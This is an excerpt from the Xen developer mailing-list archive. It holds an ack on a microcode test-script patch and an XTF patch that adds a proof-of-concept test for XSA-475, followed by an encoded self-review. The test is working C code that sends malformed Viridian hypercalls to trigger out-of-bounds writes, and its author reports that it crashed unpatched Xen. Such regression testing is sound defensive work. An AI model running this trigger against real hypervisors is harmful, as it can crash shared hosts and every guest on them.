cc: Andrew Cooper <andrew.cooper3@citrix.com>, 
    Xen-devel <xen-devel@lists.xenproject.org>, 
    Anthony PERARD <anthony.perard@vates.tech>, 
    Stefano Stabellini <sstabellini@kernel.org>, 
    Michal Orzel <michal.orzel@amd.com>, Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH TEST-ARTEFACTS] Add PantherLake microcode
In-Reply-To: <ak55rFeP3DPEg6vm@mail-itl>
Message-ID: <alpine.DEB.2.22.394.2607081017120.89083@ubuntu-linux-20-04-desktop>
References: <20260708145623.1441067-1-andrew.cooper3@citrix.com> <ak55rFeP3DPEg6vm@mail-itl>
User-Agent: Alpine 2.22 (DEB 394 2020-01-19)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="8323329-2004075172-1783531045=:89083"
X-purgate-ID: tlsNG-ebf023/1783531047-AF7211CC-3F57C759/0/0
X-purgate-type: clean
X-purgate-size: 1850

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--8323329-2004075172-1783531045=:89083
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8BIT

On Wed, 8 Jul 2026, Marek Marczykowski-GÃ³recki wrote:
> On Wed, Jul 08, 2026 at 03:56:23PM +0100, Andrew Cooper wrote:
> > Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> 
> Reviewed-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> 
> And it seems to already apply to the new runner:
> https://gitlab.com/xen-project/people/marmarek/xen/-/pipelines/2662156525
> 
>     (XEN) [0000001882e96f95] microcode: CPU0 updated from revision 0x115 to 0x11b, date = 2026-03-24

Acked-by: Stefano Stabellini <sstabellini@kernel.org>

> > ---
> > CC: Anthony PERARD <anthony.perard@vates.tech>
> > CC: Stefano Stabellini <sstabellini@kernel.org>
> > CC: Michal Orzel <michal.orzel@amd.com>
> > CC: Doug Goldstein <cardoe@cardoe.com>
> > CC: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> > ---
> >  scripts/x86-microcode.sh | 1 +
> >  1 file changed, 1 insertion(+)
> > 
> > diff --git a/scripts/x86-microcode.sh b/scripts/x86-microcode.sh
> > index cb55a3bd2d52..7442e0ae9671 100755
> > --- a/scripts/x86-microcode.sh
> > +++ b/scripts/x86-microcode.sh
> > @@ -21,6 +21,7 @@ tar xf intel-latest.tar --strip-components=1
> >      cd intel-ucode
> >      cat 06-97-02 # adl-*
> >      cat 06-8e-09 # kbl-*
> > +    cat 06-cc-03 # ptl-*
> >  ) > "${UCODEDIR}/GenuineIntel.bin"
> >  
> >  #
> > 
> > base-commit: fe26bfd25cf09cd5ad11ecdf69699d3dde2c865d
> > -- 
> > 2.39.5
> > 
> 
> -- 
> Best Regards,
> Marek Marczykowski-GÃ³recki
> Invisible Things Lab
> 
--8323329-2004075172-1783531045=:89083--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 17:23:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 17:23:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357255.1611725 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whVzR-0008Ts-BW; Wed, 08 Jul 2026 17:23:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357255.1611725; Wed, 08 Jul 2026 17:23:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whVzR-0008Tl-7p; Wed, 08 Jul 2026 17:23:17 +0000
Received: by outflank-mailman (input) for mailman id 1357255;
 Wed, 08 Jul 2026 17:23:16 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5@swg.vates.tech>)
 id 1whVzP-0008Sa-PL
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 17:23:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whVzO-000TWI-GM
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 19:23:14 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5@swg.vates.tech>)
 id 6a4e875d-2eae-0a2a0a5409dd-0a2a4501a7f0-22
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:23:14 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5@swg.vates.tech>)
 id 6a4e8781-400f-0a2a45010019-b9ff1c12a00f-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:23:14 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f42c14e64000edb5.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 17:23:12 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id D377180F03;
 Wed,  8 Jul 2026 19:23:11 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=oj6RimOavrbH8M16bEu26iR8Z6kcST6Gi/3iDkDJfv8=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=EEBJ8gpxfEKivaJdkc+gbDZOQu+HQAbrNxQmtElA44DOyOytNP/7hFoth3/twEdX9eF0aY+M7
 Y6udofVP/Ytk1kDPlKX4VoGbHfVNwpfaze3PxGmBb+INatSe9j3fLbLLYxyi+6HLPH/2BlB6N5H
 ellJiulv0Yu6oGFC8zRC5BYZEfvGrN06mDGqQ0IDAcsxwHFA1YHbZ35IlZswdZCBON0sRqNt1dO
 RwGALaqFNBSB+yoxVo17IKg5wk+bdJ34ruqIAlzGx+6GuKoDetUnnb7eGYyvOzqcLRzYA0bVckW
 y5E+tSJULxUkNbZEsjcj4gq+CjkWYsv2ZgVT7+r5JAIw==
X-Zone-Loop: d2d81eafd50eeae66f8e3e92762cc59efee5a9aa70a2
x-campaign-type: default
x-transaction-id: ce6aa81e-c7ef-40d2-b263-118de11b7973
x-swg-uid: 01-a163ac5f-b2d5-48c1-bd94-d620e4d81547
X-Mailer: Sweego
Message-ID:
 <1783531392.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5@vates.tech>
x-swg-bid: 1783531392.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: [XTF PATCH] XSA-475 PoC: Viridian Out-of-bounds
Date: Wed,  8 Jul 2026 19:22:28 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.45e.7bcd06253e1d0c30.19f42c14be1.cb63fb390224e886=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783531391970
X-purgate-ID: tlsNG-d62444/1783531394-D18C31E0-8E48F372/0/0
X-purgate-type: clean
X-purgate-size: 6206

---=Part.45e.7bcd06253e1d0c30.19f42c14be1.cb63fb390224e886=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
CC: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Tested (crashing Xen) on a Xen build with reverted patch (tested both CVEs=
)=2E

 docs/all-tests=2Edox         |   1 +
 tests/xsa-475/Makefile     |  11 ++++
 tests/xsa-475/extra=2Ecfg=2Ein |   1 +
 tests/xsa-475/main=2Ec       | 124 +++++++++++++++++++++++++++++++++++++
 4 files changed, 137 insertions(+)
 create mode 100644 tests/xsa-475/Makefile
 create mode 100644 tests/xsa-475/extra=2Ecfg=2Ein
 create mode 100644 tests/xsa-475/main=2Ec

diff --git a/docs/all-tests=2Edox b/docs/all-tests=2Edox
index ff38747=2E=2E441eaf7 100644
--- a/docs/all-tests=2Edox
+++ b/docs/all-tests=2Edox
@@ -185,6 +185,7 @@ states=2E
=20
 @subpage test-xsa-472-3 - Viridian reference TSC page leak=2E
=20
+@subpage test-xsa-475 - x86: Incorrect input sanitisation in Viridian hyp=
ercalls
=20
 @section index-utility Utilities
=20
diff --git a/tests/xsa-475/Makefile b/tests/xsa-475/Makefile
new file mode 100644
index 0000000=2E=2E31bdb84
--- /dev/null
+++ b/tests/xsa-475/Makefile
@@ -0,0 +1,11 @@
+include $(ROOT)/build/common=2Emk
+
+NAME      :=3D xsa-475
+CATEGORY  :=3D xsa
+TEST-ENVS :=3D hvm64
+
+TEST-EXTRA-CFG :=3D extra=2Ecfg=2Ein
+
+obj-perenv +=3D main=2Eo
+
+include $(ROOT)/build/gen=2Emk
diff --git a/tests/xsa-475/extra=2Ecfg=2Ein b/tests/xsa-475/extra=2Ecfg=2E=
in
new file mode 100644
index 0000000=2E=2E7ca5a28
--- /dev/null
+++ b/tests/xsa-475/extra=2Ecfg=2Ein
@@ -0,0 +1 @@
+viridian =3D [ "base" ]
\ No newline at end of file
diff --git a/tests/xsa-475/main=2Ec b/tests/xsa-475/main=2Ec
new file mode 100644
index 0000000=2E=2Ecfdacab
--- /dev/null
+++ b/tests/xsa-475/main=2Ec
@@ -0,0 +1,124 @@
+/**
+ * @file tests/xsa-475/main=2Ec
+ * @ref test-xsa-475
+ *
+ * @page test-xsa-475 XSA-475
+ *
+ * Advisory: [XSA-475](https://xenbits=2Exen=2Eorg/xsa/advisory-475=2Ehtm=
l)
+ *
+ * Some bounds check were missing in viridian hypercalls, causing out of =
bound
+ * writes (CVE-2025-58147) or operating on a wild pointer (CVE-2025-58148=
)=2E
+ * We can trigger it by targetting vCPUs ID that are over HVM_MAX_VCPUS=
=2E
+ *
+ * @see tests/xsa-475/main=2Ec
+ */
+
+#include <xtf=2Eh>
+
+const char test_title[] =3D "XSA-475";
+
+#define HVCALL_SEND_IPI 0x000b
+
+#define HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX  0x0013
+#define HVCALL_FLUSH_VIRTUAL_ADDRESS_LIST_EX   0x0014
+#define HVCALL_SEND_IPI_EX                     0x0015
+
+enum HV_GENERIC_SET_FORMAT {
+    HV_GENERIC_SET_SPARSE_4K,
+    HV_GENERIC_SET_ALL,
+};
+
+struct hv_vpset {
+    uint64_t format;
+    uint64_t valid_bank_mask;
+    uint64_t bank_contents[64];
+};
+
+static void test_send_ipi(uint64_t vcpu_mask)
+{
+    struct {
+        uint32_t vector;
+        uint8_t target_vtl;
+        uint8_t reserved_zero[3];
+        uint64_t vcpu_mask;
+    } input_params =3D { 0 };
+
+    input_params=2Evector =3D 0xD0;
+    input_params=2Evcpu_mask =3D vcpu_mask & ~1; /* Don't self-ipi */
+
+    if (vendor_is_intel)
+        asm volatile ("vmcall" :: "a"(0x80000000U), "c"(HVCALL_SEND_IPI),
+                                  "d"(&input_params) : "memory");
+    else if (vendor_is_amd)
+        asm volatile ("vmmcall" :: "a"(0x80000000U), "c"(HVCALL_SEND_IPI)=
,
+                                   "d"(&input_params) : "memory");
+}
+
+static void test_send_ipi_ex(struct hv_vpset set)
+{
+    int ret =3D 0;
+    struct {
+        uint64_t address_space;
+        uint64_t flags;
+        struct hv_vpset set;
+    } input_params;
+
+    input_params=2Eaddress_space =3D 0;
+    input_params=2Eflags =3D 0;
+    input_params=2Eset =3D set;
+
+    if (vendor_is_intel)
+        asm volatile ("vmcall" : "=3Da"(ret) : "a"(0x80000000U),
+                                 "c"(HVCALL_SEND_IPI_EX),
+                                 "d"(&input_params) : "memory");
+    else if (vendor_is_amd)
+        asm volatile ("vmmcall" : "=3Da"(ret) : "a"(0x80000000U),
+                                  "c"(HVCALL_SEND_IPI_EX),
+                                  "d"(&input_params) : "memory");
+}
+
+static void test_flush_vaddr_ex(struct hv_vpset set)
+{
+    int ret =3D 0;
+    struct {
+        uint64_t address_space;
+        uint64_t flags;
+        struct hv_vpset set;
+    } input_params;
+
+    input_params=2Eaddress_space =3D 0;
+    input_params=2Eflags =3D 0;
+    input_params=2Eset =3D set;
+
+    if (vendor_is_intel)
+        asm volatile ("vmcall" : "=3Da"(ret) : "a"(0x80000000U),
+                                 "c"(HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_E=
X),
+                                 "d"(&input_params) : "memory");
+    else if (vendor_is_amd)
+        asm volatile ("vmmcall" : "=3Da"(ret) : "a"(0x80000000U),
+                                  "c"(HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_=
EX),
+                                  "d"(&input_params) : "memory");
+    }
+
+void test_main(void)
+{
+    struct hv_vpset set;
+    set=2Eformat =3D HV_GENERIC_SET_SPARSE_4K;
+
+    printk("Test HVCALL_SEND_IPI to 64 first CPUs (non-existent)\n");
+    test_send_ipi(~0);
+
+    printk("Test HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX with all banks set=
\n");
+    set=2Evalid_bank_mask =3D ~0;
+    memset(set=2Ebank_contents, 1, sizeof(set=2Ebank_contents));
+    test_flush_vaddr_ex(set);
+
+    printk("Test HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX with all banks set=
 (skipping self)\n");
+    set=2Evalid_bank_mask =3D ~0;
+    memset(set=2Ebank_contents, 1, sizeof(set=2Ebank_contents));
+    set=2Ebank_contents[0] &=3D 1; /* don't self-ipi */
+    test_send_ipi_ex(set);
+
+    xtf_success("Success: Probably not vulnerable to XSA-475\n");
+}
+
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.45e.7bcd06253e1d0c30.19f42c14be1.cb63fb390224e886=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 17:25:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 17:25:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357263.1611735 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whW1b-0000uW-RH; Wed, 08 Jul 2026 17:25:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357263.1611735; Wed, 08 Jul 2026 17:25:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whW1b-0000uN-NN; Wed, 08 Jul 2026 17:25:31 +0000
Received: by outflank-mailman (input) for mailman id 1357263;
 Wed, 08 Jul 2026 17:25:31 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f42c35785000edb5@swg.vates.tech>)
 id 1whW1a-0000uH-Tr
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 17:25:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whW1a-000ToB-7R
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 19:25:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f42c35785000edb5@swg.vates.tech>)
 id 6a4e87dc-e002-0a2a0a5209dd-0a2a4506b096-44
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:25:30 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f42c35785000edb5@swg.vates.tech>)
 id 6a4e8809-08de-0a2a45060019-b9ff1c22a7c1-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 19:25:30 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f42c35785000edb5.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 17:25:26 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5382D80F03;
 Wed,  8 Jul 2026 19:25:25 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=6Ko9NBZx4PsdGOu83A9E1p9noaUJLghb1MgJXu2hims=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=XnqesQfcjaRe8pP5dyNPT2PXXzW2WOhpWYxCZUeQNQTvU8qEFuYsXnzwEx/lGgpIC3UBzdG8z
 t9MhafCTxdPgDjUUVgKxTWpxhaP8OcjNB43tSXyS40lkBjsTK+8cNVd1sdivxtWFkXUygehHfKc
 aQRKQr51xRDZRsM9BaOo7GNMZsoH8PY1RuMu1eak+nX+XrkC83O5LmrmlZS2g0CgmsdqfCILftH
 Xjx22DEg71wNNx1LLDmVjyYsGXkAqQ+8NzgUnRtuii+yuIdU+8mLXi8y436c4AKHTxS+Jg59AHi
 8oNLKmhsiQgzNSLeX0VUCgrq91reABAqOEO4rshTW/Mg==
X-Zone-Loop: fba0efe7a5b5aca58351cc64949a6f6b75a39dcc7f4f
x-campaign-type: default
x-transaction-id: ae812844-1748-4495-8a1c-c3380d09da16
x-swg-uid: 01-63c4d92b-1a9a-4b29-9b0a-a8738bae09d5
X-Mailer: Sweego
Message-ID:
 <1783531526.8631fc262581453bbf619ec5b2062170.19f42c35785000edb5@vates.tech>
x-swg-bid: 1783531526.8631fc262581453bbf619ec5b2062170.19f42c35785000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 19:25:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [XTF PATCH] XSA-475 PoC: Viridian Out-of-bounds
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>
References: <27f4bb5783a62a7322f2eb5504758392fe5faa83.1783530575.git.teddy.astie@vates.tech>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum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lt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <27f4bb5783a62a7322f2eb5504758392fe5faa83.1783530575.git.teddy.astie@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------VlNIE1PVV6bnfE1FnfYGSwFB"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783531525423
X-purgate-ID: tlsNG-16d1c6/1783531530-4233E68D-4C8ADB82/0/0
X-purgate-type: clean
X-purgate-size: 13089

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------VlNIE1PVV6bnfE1FnfYGSwFB
Content-Type: multipart/mixed; boundary="------------mJk9duNd4YpK9Xjqrs5Qe087";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>
Message-ID: <ae965480-299c-4d24-b663-6f5bac58c02f@vates.tech>
Subject: Re: [XTF PATCH] XSA-475 PoC: Viridian Out-of-bounds
References: <27f4bb5783a62a7322f2eb5504758392fe5faa83.1783530575.git.teddy.astie@vates.tech>
In-Reply-To: <27f4bb5783a62a7322f2eb5504758392fe5faa83.1783530575.git.teddy.astie@vates.tech>

--------------mJk9duNd4YpK9Xjqrs5Qe087
Content-Type: multipart/mixed; boundary="------------0PYWaQNr3SNjGHYkKJZGcZkT"

--------------0PYWaQNr3SNjGHYkKJZGcZkT
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDgvMDcvMjAyNiDDoCAxOToyMywgVGVkZHkgQXN0aWUgYSDDqWNyaXTCoDoNCj4gU2ln
bmVkLW9mZi1ieTogVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVzLnRlY2g+DQo+IC0t
LQ0KPiBDQzogQW5kcmV3IENvb3BlciA8YW5kcmV3LmNvb3BlcjNAY2l0cml4LmNvbT4NCj4g
DQo+IFRlc3RlZCAoY3Jhc2hpbmcgWGVuKSBvbiBhIFhlbiBidWlsZCB3aXRoIHJldmVydGVk
IHBhdGNoICh0ZXN0ZWQgYm90aCBDVkVzKS4NCj4gDQo+ICAgZG9jcy9hbGwtdGVzdHMuZG94
ICAgICAgICAgfCAgIDEgKw0KPiAgIHRlc3RzL3hzYS00NzUvTWFrZWZpbGUgICAgIHwgIDEx
ICsrKysNCj4gICB0ZXN0cy94c2EtNDc1L2V4dHJhLmNmZy5pbiB8ICAgMSArDQo+ICAgdGVz
dHMveHNhLTQ3NS9tYWluLmMgICAgICAgfCAxMjQgKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKw0KPiAgIDQgZmlsZXMgY2hhbmdlZCwgMTM3IGluc2VydGlvbnMoKykN
Cj4gICBjcmVhdGUgbW9kZSAxMDA2NDQgdGVzdHMveHNhLTQ3NS9NYWtlZmlsZQ0KPiAgIGNy
ZWF0ZSBtb2RlIDEwMDY0NCB0ZXN0cy94c2EtNDc1L2V4dHJhLmNmZy5pbg0KPiAgIGNyZWF0
ZSBtb2RlIDEwMDY0NCB0ZXN0cy94c2EtNDc1L21haW4uYw0K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Ow0KPiArICAgIHRlc3Rfc2VuZF9pcGkofjApOw0K
PiArDQo+ICsgICAgcHJpbnRrKCJUZXN0IEhWQ0FMTF9GTFVTSF9WSVJUVUFMX0FERFJFU1Nf
U1BBQ0VfRVggd2l0aCBhbGwgYmFua3Mgc2V0XG4iKTsNCj4gKyAgICBzZXQudmFsaWRfYmFu
a19tYXNrID0gfjA7DQo+ICsgICAgbWVtc2V0KHNldC5iYW5rX2NvbnRlbnRzLCAxLCBzaXpl
b2Yoc2V0LmJhbmtfY29udGVudHMpKTsNCj4gKyAgICB0ZXN0X2ZsdXNoX3ZhZGRyX2V4KHNl
dCk7DQo+ICsNCj4gKyAgICBwcmludGsoIlRlc3QgSFZDQUxMX0ZMVVNIX1ZJUlRVQUxfQURE
UkVTU19TUEFDRV9FWCB3aXRoIGFsbCBiYW5rcyBzZXQgKHNraXBwaW5nIHNlbGYpXG4iKTsN
Cg0KXg0KDQpUaGlzIGlzIHN1cHBvc2VkIHRvIGJlIEhWQ0FMTF9TRU5EX0lQSV9FWCBoZXJl
DQoNCj4gKyAgICBzZXQudmFsaWRfYmFua19tYXNrID0gfjA7DQo+ICsgICAgbWVtc2V0KHNl
dC5iYW5rX2NvbnRlbnRzLCAxLCBzaXplb2Yoc2V0LmJhbmtfY29udGVudHMpKTsNCj4gKyAg
ICBzZXQuYmFua19jb250ZW50c1swXSAmPSAxOyAvKiBkb24ndCBzZWxmLWlwaSAqLw0KPiAr
ICAgIHRlc3Rfc2VuZF9pcGlfZXgoc2V0KTsNCj4gKw0KPiArICAgIHh0Zl9zdWNjZXNzKCJT
dWNjZXNzOiBQcm9iYWJseSBub3QgdnVsbmVyYWJsZSB0byBYU0EtNDc1XG4iKTsNCj4gK30N
Cj4gKw0KDQo=
--------------0PYWaQNr3SNjGHYkKJZGcZkT
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
